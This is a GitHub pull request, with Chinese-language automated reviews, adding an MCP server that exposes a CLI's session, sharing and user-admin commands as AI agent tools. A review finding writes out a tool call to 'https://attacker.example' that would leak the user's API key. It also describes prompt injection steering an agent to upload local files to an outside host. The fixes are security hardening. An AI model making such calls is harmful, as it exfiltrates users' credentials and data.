Repository navigation
feat: MCP server support (sth mcp) — CLI 功能全量暴露为 MCP tools - #103
Conversation
Add 'sth mcp', a Model Context Protocol server over stdio, so AI agents can drive sth sessions as structured tools instead of shell calls. - 16 tools mirroring the CLI: send, tag, categorize, project, title, list, search, delete, share, unshare, shares, user_add, user_issue_key, user_revoke_key, user_list, audit - dual-mode tools keep the CLI's local-DB vs remote-server semantics (per-call server/api_key override the server-wide defaults) - send validation/upload extracted into shared resolveUploadTarget and uploadSite so CLI and MCP take one code path - expected failures surface as MCP tool errors (isError) for agent self-correction; long-running commands (start, watch) stay CLI-only - built on the official modelcontextprotocol/go-sdk v1.0.0 (go >= 1.23, compatible with the go 1.24 CI) Closes #101
Svtter
left a comment
There was a problem hiding this comment.
自动代码评审 (review-server-neo)
评审详情
整体质量不错:send.go 把 runSend 的校验/上传逻辑抽成 resolveUploadTarget + uploadSite 给 CLI 和 MCP 共用,重构后行为等价(cli.go:296-325 顺序、报错文案、60s 超时、401 先于 JSON 解析都保留),mcp_test.go 走的是真实协议(in-memory transport + initialize/tools/list/tools/call),覆盖度远超一般新功能。合并前请先处理第 1 条。
必须修 (Should-fix, 安全)
internal/cli/mcp.go:194-200(toolSend)与internal/cli/mcp.go:145-158(resolveRemote):当调用方只覆盖server而不传api_key时,回落到 server 级的--api-key/STH_API_KEY。即send {file:..., server:"https://attacker.example"}或tag {server:"https://attacker.example"}会把用户的真实 API key 以Authorization: Bearer形式发给任意主机。agent 的 tool 参数可被不可信内容影响,这属于凭据外泄通道。建议:只有当解析出的serverURL等于配置的默认 server 时才附带配置 key;per-callserver覆盖时必须显式给api_key,否则不带凭据。
Should-fix
internal/cli/mcp.go:174:send完全按 agent 给的文件路径/root上传(entry 只要求.html,兄弟目录里的.json/.txt/.xml会被一并打包)。叠加“per-call server 可任意指定”就是一个现成的数据外泄面:prompt 注入可以把宿主目录内容推到外部服务器。建议限制默认可上传根目录(或要求显式allow_root之类的开关),并在 README 里写明该工具能读取本机文件。internal/cli/mcp_test.go(TestMCPSendRemote的 handler 内调用zipNames(t, data)):zipNames会调t.Fatalf,而它运行在httptest的 handler goroutine 中,Fatal*只允许在测试 goroutine 调用(会runtime.Goexit掉 handler,响应写不完、真实失败被掩盖为 EOF;go vet的testinggoroutine分析器也可能报)。改成在 handler 里t.Errorf+http.Error返回,或把错误带回测试 goroutine 再断言。internal/cli/mcp.go:145-158:一旦以sth mcp --server ...启动,双模式工具就没有任何办法退回本地 DB(per-call 空server只会回落默认);而list/search/delete/user_*/audit又只走本地。agent 想对本地库做 tag/categorize 时无路可走。建议支持显式server:"local"(或local:true)并写进 tool description。
Nits
internal/cli/mcp.go:737:in.PruneDays < 0被静默忽略并退化成列表查询,CLI 对同样输入报 “prune-days must be a positive integer”;加一条负值报错更一致。另外audit的 prune 与delete/user_revoke_key都是不可逆操作,建议在 description 里明确标注 destructive,便于客户端做确认。internal/cli/mcp.go:400-420远端路径:401 时doJSONRequest因响应是纯文本返回 “server returned non-JSON response: Unauthorized”,与 README 中“401 作为可自纠的 tool error”表述不符;建议在doJSONRequest里对 401 给出明确的鉴权提示(顺带同时修复 CLI 的同类表现)。internal/cli/mcp.go:250、:470、:479:session_id/username原样拼进 URL path,..之类可以改写到别的端点。这是metadata.go/share.go既有的拼法(非本次引入),但 MCP 让它变成模型可直达的输入,顺手用url.PathEscape更稳。- 工具每次调用都
openStore()并Close(),会重复执行 schema init / WAL pragma;长驻 server 场景可考虑复用单个 store(不是必须)。 mcp.go各 handler 的ctx/req参数未使用,无语义问题,仅提示可显式_。
未验证:s.Run(ctx, &mcp.StdioTransport{}) 在 SIGINT 时是否返回 context.Canceled(会以非零退出并打印错误)——需要实际跑一遍 stdio 才能确认,本次只读了代码。
由 review-server-neo 自动生成。新 push 会重新评审。
|
|
||
| result, err := uploadSite(target, serverURL, apiKey) | ||
| if err != nil { | ||
| return nil, sendResult{}, err |
There was a problem hiding this comment.
[should-fix] internal/cli/mcp.go:194-200(toolSend)与 internal/cli/mcp.go:145-158(resolveRemote):当调用方只覆盖 server 而不传 api_key 时,回落到 server 级的 --api-key / STH_API_KEY。即 send {file:..., server:"https://attacker.example"} 或 tag {server:"https://attacker.example"} 会把用户的真实 API key 以 `Authorization: Be…
| } | ||
|
|
||
| func (c *mcpConfig) toolSend(ctx context.Context, req *mcp.CallToolRequest, in sendParams) (*mcp.CallToolResult, sendResult, error) { | ||
| target, err := resolveUploadTarget(in.File, in.Title, in.Tag, in.Category, in.Project, in.Root, in.Root != "", in.Single) |
There was a problem hiding this comment.
[should-fix] internal/cli/mcp.go:174:send 完全按 agent 给的文件路径/root 上传(entry 只要求 .html,兄弟目录里的 .json/.txt/.xml 会被一并打包)。叠加“per-call server 可任意指定”就是一个现成的数据外泄面:prompt 注入可以把宿主目录内容推到外部服务器。建议限制默认可上传根目录(或要求显式 allow_root 之类的开关),并在 README 里写明该工具能读取本机文件。
| serverURL = serverParam | ||
| if serverURL == "" { | ||
| serverURL = c.serverURL | ||
| } |
There was a problem hiding this comment.
[should-fix] internal/cli/mcp.go:145-158:一旦以 sth mcp --server ... 启动,双模式工具就没有任何办法退回本地 DB(per-call 空 server 只会回落默认);而 list/search/delete/user_*/audit 又只走本地。agent 想对本地库做 tag/categorize 时无路可走。建议支持显式 server:"local"(或 local:true)并写进 tool description。
Address rs review should-fix items on #103: - the server-wide --api-key / STH_API_KEY is now attached only to calls targeting the configured --server; a per-call server override runs keyless unless it passes its own api_key, so a prompt-injected call cannot leak the configured key to another host - dual-mode tools accept local=true to force local-DB operation even when a --server default is configured - send tool description and README security notes state explicitly that the tool reads local files and recommend scoped keys Tests: credential non-forwarding (tag + send), default-server key attachment, local=true forcing local DB with zero remote hits.
|
3 条 rs should-fix 已在 e9b2ca7 修复:
go build/test 本地全绿,已推送等 rs 复审。 |
Svtter
left a comment
There was a problem hiding this comment.
自动代码评审 (review-server-neo)
internal/cli/mcp_test.go:415 的 handler 内 t.Fatalf,并给“配了 --api-key 却没配 --server”加一条启动提示(其余为可选打磨)。
评审详情
本轮 delta 已看过:resolveRemote 的凭据主机绑定 + local 覆盖 + 文档/安全说明 + 三个新测试。上一轮的问题基本收敛了。
已修复
- 凭据外泄(上一轮的 must-fix):
internal/cli/mcp.go:148-167现在只在serverURL == c.serverURL时附带 server 级 key,per-callserver覆盖默认无凭据(除非显式给api_key);toolSend(internal/cli/mcp.go:201-214)也按同一规则以自己的默认链(--server→DefaultServerURL)判定。TestMCPKeyNotForwardedToOverriddenServer/TestMCPSendKeyNotForwarded把三条分支都钉住了,包括“同主机仍带 key”和“per-call key 生效”,这是本轮最扎实的部分。 - 无法退回本地模式:
local: true已加到 tag/categorize/project/title/share/unshare/shares 的参数与 description,TestMCPLocalForcesLocalDB验证了远程计数为 0 且数据写进本地库。 send读取本机文件的暴露面:代码未变,但 README(中英)+ tool description 现在明确写了“只指向打算发布的内容”,并建议用低权限专用 key。作为文档化风险可以接受。
仍未处理
internal/cli/mcp_test.go:415:zipNames(t, data)依旧在httptest的 handler goroutine 里被调用,而它会t.Fatalf。Fatal*只能在测试 goroutine 调用(会把 handler 直接Goexit,响应写不完、真实失败变成客户端 EOF 之类的误导性报错)。改成 handler 内t.Errorf+http.Error返回即可。
新引入的小问题(Nits)
internal/cli/mcp.go:163:主机相等是字符串比较,--server http://h:3939/(带尾斜杠)与调用方传的http://h:3939不相等,key 会被静默丢掉、表现为莫名其妙的 401。比较前strings.TrimRight(url, "/")一下更稳。internal/cli/mcp.go:148-167:--api-key/STH_API_KEY显式配置了但没有--server时,双模式工具再也用不上这个 key(任何 per-callserver都不等于空c.serverURL)。这是本轮引入的静默行为变化,建议启动时若apiKey != "" && serverURL == ""打一条 stderr 提示(或直接拒绝),并在 README 里点明。internal/cli/mcp_test.go:672-676:“同一个默认 server 仍会带 key”这条只在send上用defaultHooks断言了Bearer secret;温度较高的 tag 分支只断言了消息文本,没记录/校验defaultServer收到的 Authorization,可补一行断言。- 几个新测试把结果写进 handler goroutine 的变量(
overrideAuth、remoteHits、defaultHooks/overrideHooks)再由测试 goroutine 读;CI 跑的是go test -race ./...,建议用sync.Mutex或 channel 收口,避免偶发报告。 - 上一轮其余 Nits 未变、且都非阻塞:
prune_days负值静默忽略并退化成列表(internal/cli/mcp.go:737附近,CLI 同样输入会报错);远端 401 仍表现为 “server returned non-JSON response: Unauthorized”(doJSONRequest);session_id/username原样拼 URL path(internal/cli/mcp.go:250/:470)。
未验证:s.Run 在 SIGINT 下的返回形态仍只能靠实跑确认,本次仍未执行。
结论:安全主问题已闭环并有测试护住,剩下的是一条测试卫生 + 三处一致性/断言打磨,不构成阻塞。
minor nits, OK to ship after — 需要先处理 internal/cli/mcp_test.go:415 的 handler 内 t.Fatalf,并给“配了 --api-key 却没配 --server”加一条启动提示(其余为可选打磨)。
由 review-server-neo 自动生成。新 push 会重新评审。
Address the follow-up rs review (minor nits, OK to ship after): - trim trailing slashes when comparing server URLs so a --server value like http://h:3939/ still receives the configured API key - note on stderr at startup when --api-key/STH_API_KEY is set without --server, and let the key follow the implicit default server (http://127.0.0.1:3939) for dual-mode tools, matching send - reject negative prune_days explicitly instead of silently listing - test hygiene: zipNames no longer calls t.Fatalf from an httptest handler goroutine (t.Errorf + http.Error instead); handler-written variables moved behind a mutex-guarded recorder so -race stays quiet; assert the default server receives Bearer secret on tag too
Svtter
left a comment
There was a problem hiding this comment.
自动代码评审 (review-server-neo)
✅ ship as-is — 累计改动可合并;上面两条 Nits(尾斜杠用例的断言方向、trimSlash 参数名)属可选跟进。
评审详情
本轮 delta 逐条对上了上一轮的遗留项,且没有引入新问题。
已修复
internal/cli/mcp_test.go:22:zipNames改为([]string, error),handler 里改用t.Errorf+http.Error(:434、:440),handler goroutine 里调用Fatal*的问题消除。internal/cli/mcp_test.go:37-56:新增authRecorder(sync.Mutex+snapshot()),TestMCPSendRemote、TestMCPKeyNotForwardedToOverriddenServer、MCPLocalForcesLocalDB、MCPSendKeyNotForwarded全部改用它,CI 的go test -race不再依赖“没有同步但实际有序”的假设。internal/cli/mcp.go:49-54:--api-key无--server时启动打 stderr 提示;关键是行为上也一并理顺了——resolveRemote(:165-176)与toolSend(:218-230)在c.serverURL == ""时把默认主机回落到server.DefaultServerURL,所以这条 key 不再是死配置,提示文案与实现一致。internal/cli/mcp.go:178-181:trimSlash消除尾斜杠导致的凭据误丢。internal/cli/mcp.go:789-791:prune_days负值现在报 “prune-days must be a positive integer”,与 CLI 一致;mcp_test.go:659-663有对应断言。
剩余 Nits(不阻塞)
internal/cli/mcp_test.go:717-723:新增的尾斜杠用例测的是“覆盖到别的 host + 尾斜杠仍不带凭据”——这在trimSlash之前也成立;真正被修的行为是“指向默认 server 的 URL 带尾斜杠仍应带 key”(server: defaultServer.URL + "/"→Bearer secret)。建议把断言翻到这一侧,否则该修复本身无测试覆盖。internal/cli/mcp.go:180:func trimSlash(url string)的参数名遮蔽了net/url包(函数体内未用,可编译),改名raw/base更干净。- 前几轮提过、仍存在且均为非阻塞:远端 401 经由
doJSONRequest变成 “server returned non-JSON response: Unauthorized”(README 措辞仍略强于实现);session_id/username原样拼 URL path(internal/cli/mcp.go:271/:508附近,CLI 既有拼法);每个 tool 调用重开 store。
累计状态:安全主问题(凭据主机绑定)和本地覆盖都已闭环并有测试,测试卫生问题也清了,剩下的只是可选打磨。
ship as-is — 累计改动可合并;上面两条 Nits(尾斜杠用例的断言方向、trimSlash 参数名)属可选跟进。
由 review-server-neo 自动生成。新 push 会重新评审。
feat: MCP 管理员工具门控(user_add/user_issue_key/user_revoke_key/audit)——#103 后续
Closes #101
概述
新增
sth mcp子命令:以 stdio 方式运行 MCP(Model Context Protocol)server,把 CLI 支持的功能以 16 个结构化 tools 暴露给 AI agent,不再依赖 shell 调用。工具面(与 CLI 一一对应)
sendsendtag [--rm]tagcategorize/project/titlelist/searchdeletedeleteshare/unshare/sharesuser add / issue-key / revoke-key / listuser_add/user_issue_key/user_revoke_key/user_listauditauditprune_days清理server(每次调用可覆盖 server 级默认)走 HTTP API(Bearer key),否则操作本地--db。start/watch不进 v1:长驻进程不适合一次性 tool 调用,保持 CLI 专属。实现要点
send的校验/上传抽成共享的resolveUploadTarget/uploadSite(internal/cli/send.go),CLIrunSend与 MCP tool 走同一代码路径;远程调用复用doJSONRequest;share 系逻辑照搬runShare/runUnshare(含 page 归一化、owner 检查、ErrNotShared语义)。isError=true的 tool error 返回,agent 可自行纠正。modelcontextprotocol/go-sdkv1.0.0(仅要求 go ≥ 1.23,不动现有 go 1.24 CI;v1.8.0 要求 go ≥ 1.25 故弃用)。input schema 由结构体自动生成,omitempty字段即可选参数。测试
internal/cli/mcp_test.go:13 个测试,经 in-memory transport 走真实 MCP 协议(initialize → tools/list → tools/call)覆盖全部 16 个 tool 的本地路径 + 远程路径(httptest 校验方法/路径/表单字段/zip 内容/Bearer 头/server 级默认回退/JSON body)。printf管道 JSON-RPC →sth mcp,验证 initialize 握手(protocolVersion 2025-06-18)、tools/list inputSchema、user_add/user_list/user_issue_key结构化输出。go vet ./...、go test ./internal/...全绿(5 个包)。runSend重构后 417 行测试全过,--root ""报错等既有断言逐字保留)。文档